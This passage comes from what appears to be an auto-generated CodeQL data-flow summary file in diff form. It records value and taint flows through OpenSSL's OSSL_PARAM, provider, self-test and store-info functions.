"dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_size_t", "(const char *,size_t *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_size_t", "(const char *,size_t *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_size_t", "(const char *,size_t *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_time_t", "(const char *,time_t *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_time_t", "(const char *,time_t *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_time_t", "(const char *,time_t *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_time_t", "(const char *,time_t *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint32", "(const char *,uint32_t *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint32", "(const char *,uint32_t *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint32", "(const char *,uint32_t *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint32", "(const char *,uint32_t *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint64", "(const char *,uint64_t *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint64", "(const char *,uint64_t *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint64", "(const char *,uint64_t *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint64", "(const char *,uint64_t *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint", "(const char *,unsigned int *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint", "(const char *,unsigned int *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint", "(const char *,unsigned int *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_uint", "(const char *,unsigned int *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_ulong", "(const char *,unsigned long *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_ulong", "(const char *,unsigned long *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_ulong", "(const char *,unsigned long *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_ulong", "(const char *,unsigned long *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_ptr", "(const char *,char **,size_t)", "", "Argument[**1]", "ReturnValue.Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_ptr", "(const char *,char **,size_t)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_ptr", "(const char *,char **,size_t)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_ptr", "(const char *,char **,size_t)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_ptr", "(const char *,char **,size_t)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_ptr", "(const char *,char **,size_t)", "", "Argument[2]", "ReturnValue.Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_string", "(const char *,char *,size_t)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_string", "(const char *,char *,size_t)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_string", "(const char *,char *,size_t)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_string", "(const char *,char *,size_t)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_utf8_string", "(const char *,char *,size_t)", "", "Argument[2]", "ReturnValue.Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_dup", "(const OSSL_PARAM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OSSL_PARAM_dup", "(const OSSL_PARAM *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_free", "(OSSL_PARAM *)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_BN", "(const OSSL_PARAM *,BIGNUM **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_double", "(const OSSL_PARAM *,double *)", "", "Argument[*0].Field[**data]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_double", "(const OSSL_PARAM *,double *)", "", "Argument[*0].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_int32", "(const OSSL_PARAM *,int32_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_int64", "(const OSSL_PARAM *,int64_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_int", "(const OSSL_PARAM *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_long", "(const OSSL_PARAM *,long *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_ptr", "(const OSSL_PARAM *,const void **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_ptr", "(const OSSL_PARAM *,const void **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_ptr", "(const OSSL_PARAM *,const void **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_string", "(const OSSL_PARAM *,void **,size_t,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_string_ptr", "(const OSSL_PARAM *,const void **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_string_ptr", "(const OSSL_PARAM *,const void **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_octet_string_ptr", "(const OSSL_PARAM *,const void **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_size_t", "(const OSSL_PARAM *,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_time_t", "(const OSSL_PARAM *,time_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_uint32", "(const OSSL_PARAM *,uint32_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_uint64", "(const OSSL_PARAM *,uint64_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_uint", "(const OSSL_PARAM *,unsigned int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_ulong", "(const OSSL_PARAM *,unsigned long *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_utf8_ptr", "(const OSSL_PARAM *,const char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_utf8_ptr", "(const OSSL_PARAM *,const char **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_utf8_string", "(const OSSL_PARAM *,char **,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_get_utf8_string_ptr", "(const OSSL_PARAM *,const char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_get_utf8_string_ptr", "(const OSSL_PARAM *,const char **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_locate", "(OSSL_PARAM *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate", "(OSSL_PARAM *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate", "(OSSL_PARAM *,const char *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate", "(OSSL_PARAM *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate_const", "(const OSSL_PARAM *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate_const", "(const OSSL_PARAM *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate_const", "(const OSSL_PARAM *,const char *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_locate_const", "(const OSSL_PARAM *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_print_to_bio", "(const OSSL_PARAM *,BIO *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_BN", "(OSSL_PARAM *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_all_unmodified", "(OSSL_PARAM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_double", "(OSSL_PARAM *,double)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_int32", "(OSSL_PARAM *,int32_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_int64", "(OSSL_PARAM *,int64_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_int", "(OSSL_PARAM *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_long", "(OSSL_PARAM *,long)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*return_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[**1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*return_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[**1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_octet_string_or_ptr", "(OSSL_PARAM *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*return_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_size_t", "(OSSL_PARAM *,size_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_time_t", "(OSSL_PARAM *,time_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_uint32", "(OSSL_PARAM *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_uint64", "(OSSL_PARAM *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_uint", "(OSSL_PARAM *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_ulong", "(OSSL_PARAM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_utf8_ptr", "(OSSL_PARAM *,const char *)", "", "Argument[*1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_utf8_ptr", "(OSSL_PARAM *,const char *)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_utf8_string", "(OSSL_PARAM *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_set_utf8_string", "(OSSL_PARAM *,const char *)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PRIVILEGE_POLICY_ID_free", "(OSSL_PRIVILEGE_POLICY_ID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_PRIVILEGE_POLICY_ID_free", "(OSSL_PRIVILEGE_POLICY_ID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_PROVIDER_conf_get_bool", "(const OSSL_PROVIDER *,const char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_do_all", "(OSSL_LIB_CTX *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_default_search_path", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_default_search_path", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_dispatch", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**dispatch]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_dispatch", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*dispatch]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_name", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_name", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_provider_ctx", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[***provctx]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_provider_ctx", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**provctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_provider_ctx", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*provctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get_conf_parameters", "(const OSSL_PROVIDER *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_ROLE_SPEC_CERT_ID_SYNTAX_free", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ROLE_SPEC_CERT_ID_SYNTAX_free", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ROLE_SPEC_CERT_ID_free", "(OSSL_ROLE_SPEC_CERT_ID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ROLE_SPEC_CERT_ID_free", "(OSSL_ROLE_SPEC_CERT_ID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_SELF_TEST_get_callback", "(OSSL_LIB_CTX *,OSSL_CALLBACK **,void **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "OSSL_SELF_TEST_get_callback", "(OSSL_LIB_CTX *,OSSL_CALLBACK **,void **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_SELF_TEST_get_callback", "(OSSL_LIB_CTX *,OSSL_CALLBACK **,void **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "OSSL_SELF_TEST_new", "(OSSL_CALLBACK *,void *)", "", "Argument[**1]", "ReturnValue[*].Field[***cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_SELF_TEST_new", "(OSSL_CALLBACK *,void *)", "", "Argument[*1]", "ReturnValue[*].Field[**cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_SELF_TEST_new", "(OSSL_CALLBACK *,void *)", "", "Argument[0]", "ReturnValue[*].Field[*cb]", "value", "dfc-generated"] + - ["", "", True, "OSSL_SELF_TEST_new", "(OSSL_CALLBACK *,void *)", "", "Argument[1]", "ReturnValue[*].Field[*cb_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*params].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**desc]", "value", "dfc-generated"] + - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[*params].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[*params].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[*desc]", "value", "dfc-generated"] + - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[*params].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_SELF_TEST_oncorrupt_byte", "(OSSL_SELF_TEST *,unsigned char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_CERT", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_CERT", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_CRL", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_CRL", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_PARAMS", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_PARAMS", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_PKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_PKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_PUBKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_PUBKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_data", "(int,const OSSL_STORE_INFO *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_data", "(int,const OSSL_STORE_INFO *)", "", "Argument[*1]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_data", "(int,const OSSL_STORE_INFO *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_CERT", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_CERT", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_CRL", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_CRL", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_PARAMS", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_PARAMS", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_PKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_PKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_PUBKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, 